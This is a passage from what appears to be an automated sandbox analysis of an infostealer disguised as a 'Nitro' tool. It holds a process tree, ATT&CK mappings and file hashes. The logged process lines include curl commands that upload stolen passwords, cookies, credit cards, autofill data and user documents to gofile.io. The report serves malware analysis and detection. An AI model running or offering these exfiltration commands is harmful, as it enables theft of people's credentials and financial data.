    PID:5208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Bypassing..
    3⤵
    PID:5264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Bypassing...
    3⤵
    PID:1032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store27.gofile.io/uploadFile"
    3⤵
    PID:1936
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store27.gofile.io/uploadFile
      4⤵
      PID:3420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store27.gofile.io/uploadFile"
    3⤵
    PID:5544
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store27.gofile.io/uploadFile
      4⤵
      PID:5608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store27.gofile.io/uploadFile"
    3⤵
    PID:6116
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store27.gofile.io/uploadFile
      4⤵
      PID:6084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store27.gofile.io/uploadFile"
    3⤵
    PID:5480
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store27.gofile.io/uploadFile
      4⤵
      PID:3624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store27.gofile.io/uploadFile"
    3⤵
    PID:5772
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store27.gofile.io/uploadFile
      4⤵
      PID:5944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store27.gofile.io/uploadFile"
    3⤵
    PID:976
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store27.gofile.io/uploadFile
      4⤵
      PID:6036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupOptimize.xps" https://store27.gofile.io/uploadFile"
    3⤵
    PID:640
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupOptimize.xps" https://store27.gofile.io/uploadFile
      4⤵
      PID:5128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/OptimizeBackup.mht" https://store27.gofile.io/uploadFile"
    3⤵
    PID:5828
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/OptimizeBackup.mht" https://store27.gofile.io/uploadFile
      4⤵
      PID:5124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/CompressBackup.xlsb" https://store27.gofile.io/uploadFile"
    3⤵
    PID:5144
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/CompressBackup.xlsb" https://store27.gofile.io/uploadFile
      4⤵
      PID:4964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:4800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Successfully Bypassed!
    3⤵
    PID:4124

C:\Users\Admin\Downloads\Eclipse Build 2.0\Eclipse Build 2.0\Eclipse Nitro Build 2.0.exe
"C:\Users\Admin\Downloads\Eclipse Build 2.0\Eclipse Build 2.0\Eclipse Nitro Build 2.0.exe"
1⤵
PID:5764
- C:\Users\Admin\Downloads\Eclipse Build 2.0\Eclipse Build 2.0\Eclipse Nitro Build 2.0.exe
  "C:\Users\Admin\Downloads\Eclipse Build 2.0\Eclipse Build 2.0\Eclipse Nitro Build 2.0.exe"
  2⤵
  - Loads dropped DLL
  PID:2208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:1208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c
    3⤵
    PID:3104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c
    3⤵
    PID:4296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:5264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Loading.
    3⤵
    PID:3172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Loading..
    3⤵
    PID:4548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Loading...
    3⤵
    PID:2296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Bypassing.
    3⤵
    PID:4948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Bypassing..
    3⤵
    PID:4108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Bypassing...
    3⤵
    PID:3064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store15.gofile.io/uploadFile"
    3⤵
    PID:5124
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store15.gofile.io/uploadFile
      4⤵
      PID:3636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store15.gofile.io/uploadFile"
    3⤵
    PID:3288
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store15.gofile.io/uploadFile
      4⤵
      PID:4328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store15.gofile.io/uploadFile"
    3⤵
    PID:5672
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store15.gofile.io/uploadFile
      4⤵
      PID:5800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store15.gofile.io/uploadFile"
    3⤵
    PID:2856
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store15.gofile.io/uploadFile
      4⤵
      PID:768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store15.gofile.io/uploadFile"
    3⤵
    PID:4792
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store15.gofile.io/uploadFile
      4⤵
      PID:2880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store15.gofile.io/uploadFile"
    3⤵
    PID:3768
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store15.gofile.io/uploadFile
      4⤵
      PID:5784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/OptimizeBackup.mht" https://store15.gofile.io/uploadFile"
    3⤵
    PID:3524
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Desktop/OptimizeBackup.mht" https://store15.gofile.io/uploadFile
      4⤵
      PID:5828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/BackupOptimize.xps" https://store15.gofile.io/uploadFile"
    3⤵
    PID:6140
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/BackupOptimize.xps" https://store15.gofile.io/uploadFile
      4⤵
      PID:5072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Documents/CompressBackup.xlsb" https://store15.gofile.io/uploadFile"
    3⤵
    PID:2764
  - - C:\Windows\system32\curl.exe
      curl -F "file=@C:\Users\Admin/Documents/CompressBackup.xlsb" https://store15.gofile.io/uploadFile
      4⤵
      PID:5808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c title Successfully Bypassed!
    3⤵
    PID:1132

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Eclipse Build 2.0\Eclipse Build 2.0\proxies.txt
1⤵
PID:5776

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Eclipse Build 2.0\Eclipse Build 2.0\promos.txt
1⤵
PID:2508

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\csautofill.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:740

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\cscookies.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:2940

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\cshistory.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:3256

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\cspasswords.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:2568

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5640
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\.ses
  2⤵
  PID:5148

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
efc9c7501d0a6db520763baad1e05ce8

SHA1
60b5e190124b54ff7234bb2e36071d9c8db8545f

SHA256
7af7b56e2f0a84ae008785726f3404eb9001baa4b5531d0d618c6bdcb05a3a7a

SHA512
bda611ddba56513a30295ea5ca8bc59e552154f860d13fed97201cdb81814dd6d1bca7deca6f8f58c9ae585d91e450f4383a365f80560f4b8e59a4c8b53c327d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000025

Filesize
194KB

MD5
ac84f1282f8542dee07f8a1af421f2a7

SHA1
261885284826281a99ff982428a765be30de9029

SHA256
193b8f571f3fd65b98dc39601431ff6e91ade5f90ee7790bfc1fba8f7580a4b0

SHA512
9f4f58ab43ddadad903cea3454d79b99a750f05e4d850de5f25371d5bec16fc312015a875b8f418154f1124c400ae1c82e2efd862870cd35c3f0961426c8cd82

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
624B

MD5
67ee7d1009b73a9648594942bbb56225

SHA1
a021cd6f9ddd77731029df6a30070a751c8dd4b3

SHA256
8bff8e21177d2f9f38eee73ceab484239258ebc86b788916274131f476c6363c

SHA512
0d06efe81526f82a3aae3a10e52d62ee8b455af0b506137350f1de2fb416520be13089d4ac136779e39fb12cb230168457df99d63f8a105e9621635fa4521842

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
f167144df829add91b3d81af97bcb3cf

SHA1
92cfca1c5c10d808db173c9af35a06b483c76e99

SHA256
3ca8fb08aa160e0cfc902ba21a9fc659fbe8bce4e54392416c3d292beca7a7bd

SHA512
d2a569fb077af928c7b53351dc26dcdd5db2300fc8d707d008769869687809c98c61c3be4a0455ba5060eda53a2bac19adf36f2e4b73245ce956b64cef2f072b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
168B

MD5
f9f6b48beb00c1c1016c18acd619091e

SHA1
d685df04c2d9553df0e81b56f70e03d79a364847

SHA256
e533feaaa60e9c7e8ec92c4286d057e9e963b3126922fc360641051b32de3c25

SHA512
2f84f3d9801ccaf4c49c40d03067d6592f6338341071fd35a9f992803aa1c4ea30f33c0e3347404f8b2e72aca4e6c70b11c1d742edb590681dd29e04dc631f28

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_mega.nz_0.indexeddb.leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
188B

MD5
008114e1a1a614b35e8a7515da0f3783

SHA1
3c390d38126c7328a8d7e4a72d5848ac9f96549b

SHA256
7301b76033c2970e61bab5eaddaff5aa652c39db5c0ea5632814f989716a1d18

SHA512
a202fc891eace003c346bad7e5d2c73dadf9591d5ce950395ff4b63cc2866b17e02bd3f0ad92749df033a936685851455bcdbfad30f26e765c3c89d3309cb82b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
ac52ad36effa27e08f2b21cc6b5a64d3

SHA1
e106dc32750ebd13f0b497664e9cafae1fc539e9

SHA256
973a85620e96cb65195140785e3c809d00a1cb70388eff2a28d9f479d0228066

SHA512
23079cd5ddd7efef1982431e89661d9f93d7dadfb5e7de8204b8e12f11f31cbf88dc126dc93684eccce75e7ec161c879d88cb78a7bd313c77021aedf7cd74932

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
63fdc2337085b2936aa3d59e5ad47da0

SHA1
037687dac22638a4a504fef63a29e40e609d85ee

SHA256
b1aaf227939d418c076faf697a916832dd4a10726bb8791254dffad5faa2d8cf

SHA512
988ecb3144aec0649318d6615e65ae0e0b2c5e07808ec18cc718c82497e6f13b412a9cf4b619a27ee1b8b15ba9332ba5d3d716be4b0594a40b639d9696dde8f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
7a31d5250973387f4fd60777a40c4cce

SHA1
b3befc2a57d034fa546c23bbef5a8e1601376e0c

SHA256
b6ac13f9bd9eb49c07837ef3cd631e702f15992ec8046ef2718727ef3131b176

SHA512
3779b7725cd075e082b81ef7214ba6b3f4273d0785e1712728308a3a116b4457cb2ed31554936cf26e1b4d981e539ee53f6e2bee72f4b67dcba0b0f7da3405e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
6f9113661e9e8410da06b8ee1cda4bbc

SHA1
acd44e18975c86c1fa89633b30378823195996eb

SHA256
d48c5d6932b781bf2575f1d91c95546a65c36aeddb4bf22d5785ba087480d612

SHA512
c0d974c1b1205a04421b3fb4b77382923af73a1695d43f59f969fb9f8542b05569bead7a52e4055f91c2cab04d882ad9bd37bbdad03d621f334ead457c5b6207

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
6835960805009460885a77180777d29a

SHA1
a703505d249f199dad071698fc5ed01bf55143d7

SHA256
64fe6fdcbfa876f7c783d22b153370e8c54dec0b5d16df94fc3e41e1b745dcbe

SHA512
2cdd0670b646da47cef3dd49a7da8fa7c633e4e365341c8ea91ea330ebfeab64f40061a5a46be502dd27f9a6e63b04526a5e9c50b651ce95cd47b96f129619c0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
cad1ab500108a83dc48428dfc9cb89c6

SHA1
74b8148201930ee73a371e8440f860547cfcac92

SHA256
f45f5d827675126f20a3c63e8bf15f4158e5aa747306f103fbe1758f5f42d276

SHA512
4f21b3688879df4443ac9db324317d730997f36195a4ab867e495749b28593e04c7013b1cc63690a1844a1919f24db06ffe05ecf7ca6779d33a965517ec56e58

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
19f1096c6a7489e9c97169c414c87668

SHA1
afc74527c20d0e26afc980699a334ec621346ba4

SHA256
c2683e7d21a00e2275bc08c8633c4e72b7e6b41ed6eae167dddf54a2329a773f

SHA512
05f4f5804938fca927cbe601e2b12d6d59225c7a52c6e95084b59d194dc04f60195810129f8ee2dde2a64ae196548873ec68c98f8e83fb1e6c7a700a071f6c93

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
8a7d9adb0bf0e258a7ca6abe0f0be44a

SHA1
a9b97cbac825f664efc8dcf2c251658cbed015ad

SHA256
f1424a6173d7e3148eacc9f10345b9a77414b1ebfb22e574d5de505839fe9d39

SHA512
cbafdbd5f730d2d9acfc8dac6d4754d8d28bb15627d562d40062b5f4167a7328108cdb0fcf6de6f06f2e90f8d63b19290005b7c600164aea3c63345ddf03390e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
8KB

MD5
e0e3db2f8781ff4855d072fbcaf65a81

SHA1
e37101462c470c436cc21e54941cf1a85b95302f

SHA256
830098361e983a42cfe40b20942ac5795fc599043df3e63309e24c81c514ea9e

SHA512
67402f9a3ab4496a4d1d986310de27e8c53cbe8cd345b1ad00b800c526f99e32da5c1e04c567ae87541536371198c1f8735754c2a4f850c62dd1acfc4b4d3631

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
121510c1483c9de9fdb590c20526ec0a

SHA1
96443a812fe4d3c522cfdbc9c95155e11939f4e2

SHA256
cf5d26bc399d0200a32080741e12f77d784a3117e6d58e07106e913f257aa46c

SHA512
b367741da9ab4e9a621ad663762bd9c459676e0fb1412e60f7068834cbd5c83b050608e33d5320e1b191be1d809fef48831e0f42b3ecabd38b24ec222576fa81

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
72B

MD5
cbf7c9f70a40617b9493b484668a8e4f

SHA1
1871de13efdb3b5e55995d2fba878708729fe121

SHA256
ad829c045c14f2cf83654c7248d437f06d8054468937a934ab99bd33656ca78f

SHA512
da87971cc53c3799bb0d3003b0ff381421afcd2baa00a3bbaeb78a62fe5f3e9e9c2718246afe0113970317fc0cd374aed53b808056a117a06b7c02692a743588

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe581c6c.TMP

Filesize
72B

MD5
d0b6ab7f913b88a4de31508e1aa03ba6

SHA1
c118fea61fd9dccbaf7dd64a21385edd4b0c4cb5

SHA256
60c62b7420059ff46cbdf13e626c2f819b2473d99ee439db2575cee904cb926c

SHA512
23c33d2c24899f924b5cf4375eba9408d4bc664c4ea07cf4ff3dc69c1e0cb9f9c84c25bc962c00e2904f13382c22484050ece431197f61629ab0eae773492297

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
536B

MD5
92f2fa81893ef9694dc0f4184ed341c7

SHA1
45533692b778f2a7f7a79a4891d0d1bc69f5666f

SHA256
16fbb098d11702e4da35e4136d62ab565b05d05d34ed239f77427ffcb340046b

SHA512
62c0d2e7c621fd2e9423ad3115fda316584024a76f05bc37b83b23667b916f60fa635400996e952459213796dc76e3d9c80cdda29d6851d061e92a1e6365defd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
536B

MD5
793b90875c0a5a95e6aa6882817192f6

SHA1
35dc88a1640ba4e91ef67dcaccc9672c1f5db0d1

SHA256
edc240976fba393de3d46bb3c76ec65f9778b32b0ceb5a9fb98355d26c1f63e5

SHA512
a7ddbeafccd033cf79966a2170a7a22e1d54dadcad8084621a2c219fef563bc0a36576db5b3fd3a00c0f74bba624478b42212eb431de5f4c0eb274e2d7754043

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe5c46e4.TMP

Filesize
201B

MD5
401b30d26ca7f6d5bdf9a1bf9be86d10

SHA1
87ec4e58dc75bf9c2a78ab108acbd8ed4405091c

SHA256
e972d63dfcac632275ea233edaa12de22d0b3076e9f022ff6f799a6ffcdcb8e8

SHA512
b8ef61194e65e05c2733096c6737ef49002fd175aa243e5368bb56110c5b41a56f4ab79b2ceb325a2f1ea88aa851624446b43961396589cc9c7bb9383c0e4f40

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\f03b57d0-8bc8-45b4-b851-2151b65cb348.tmp

Filesize
2KB

MD5
2ad0d9b075a44f0fc4e9ffc3d56e0607

SHA1
054f981d64fbbb8625e0e0b3ead5459c00185092

SHA256
47a1af9cd4a0396c143d39bfaeef5cb5bfa3fdadd6a2724f28d28e32ed51e5e9

SHA512
effaf1749dc89819b1754bdf24d39c2899c8f96883b9da38d91ee92f74e0b534b0abb551e790b50757551641ab82a02cec0bddd8e67bc82a50b41c9425b71e18

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
6e41ce4ea8d7a18e4d7fd73738ae2cac

SHA1
5db50d1ce8abe0fb022808a0d0a26ca5fa3451f9

SHA256
982758f663e34f8c1971c2eff184c185cccf506a70fd160314eb25ba854f5294

SHA512
93cfa81a0663bcaddd08afdeb52a26e6954bb742e1356eb177be929e302c474d9228f541cd105ae5b0f2a8a95ec6a8a7694cd2c4caaa87fb7905a5061353a06f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
ee5285ba5db552533a1bde41a8083304

SHA1
bf08c5271285e369df9aaebd196c863adae9e7fd

SHA256
48a17eefee694e39b7723ef48e95e8f3d932b76fe426c3773fdf06d85bce25b3

SHA512
57637d15e3d68a91ef48c6de3054b7740ddf8a7e9ad603773954decf24843414d2010588e76cf6f212c994d1121573ce4731f93dc82bda2a273cd0ab99945f53

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
724388e1f10e0f825aac4b78a28d5b8d

SHA1
860ae1fd89abd37b8cca83888454381e33ec6ccc

SHA256
ba253123098f41b0d6e31626f392540cd8299b400a3521bb7354cc9a053b80d9

SHA512
1f271e23ce5a0919a0c261ac76903cfd50a5513e6cef99b70516a4d566b61c8267fe6549ce354a4bc3cdf63162aa7e544cab78d9a659674c6ef43272e53901d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
940617808b883cceaad781f09f1bce8c

SHA1
9be8c74660b6672fb48ccc6793fe42ba5d40cd58

SHA256
af26e3ae9fb21182f5d0f4ea1a8b2cd533908917588b9790d4a8e05c2141682a

SHA512
b4286be9979361742acef8e348e8b73bb8c1296ca3474da195490248efc77296b333a11fb8e0d121ef77e1a4c8310fb3c9f36c008a6060f32656ce234a0a803c

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\MSVCP140.dll

Filesize
564KB

MD5
1ba6d1cf0508775096f9e121a24e5863

SHA1
df552810d779476610da3c8b956cc921ed6c91ae

SHA256
74892d9b4028c05debaf0b9b5d9dc6d22f7956fa7d7eee00c681318c26792823

SHA512
9887d9f5838aa1555ea87968e014edfe2f7747f138f1b551d1f609bc1d5d8214a5fdab0d76fcac98864c1da5eb81405ca373b2a30cb12203c011d89ea6d069af

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\VCRUNTIME140.dll

Filesize
116KB

MD5
be8dbe2dc77ebe7f88f910c61aec691a

SHA1
a19f08bb2b1c1de5bb61daf9f2304531321e0e40

SHA256
4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83

SHA512
0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\VCRUNTIME140_1.dll

Filesize
48KB

MD5
f8dfa78045620cf8a732e67d1b1eb53d

SHA1
ff9a604d8c99405bfdbbf4295825d3fcbc792704

SHA256
a113f192195f245f17389e6ecbed8005990bcb2476ddad33f7c4c6c86327afe5

SHA512
ba7f8b7ab0deb7a7113124c28092b543e216ca08d1cf158d9f40a326fb69f4a2511a41a59ea8482a10c9ec4ec8ac69b70dfe9ca65e525097d93b819d498da371

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\_bz2.pyd

Filesize
82KB

MD5
afaa11704fda2ed686389080b6ffcb11

SHA1
9a9c83546c2e3b3ccf823e944d5fd07d22318a1b

SHA256
ab34b804da5b8e814b2178754d095a4e8aead77eefd3668da188769392cdb5f4

SHA512
de23bb50f1d416cf4716a5d25fe12f4b66e6226bb39e964d0de0fef1724d35b48c681809589c731d3061a97c62b4dc7b9b7dfe2978f196f2d82ccce286be8a2a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI53482\_ctypes.pyd

Filesize
121KB

MD5
78df76aa0ff8c17edc60376724d206cd

SHA1
9818bd514d3d0fc1749b2d5ef9e4d72d781b51dd

SHA256
b75560db79ba6fb56c393a4886eedd72e60df1e2f7f870fe2e356d08155f367b

SHA512
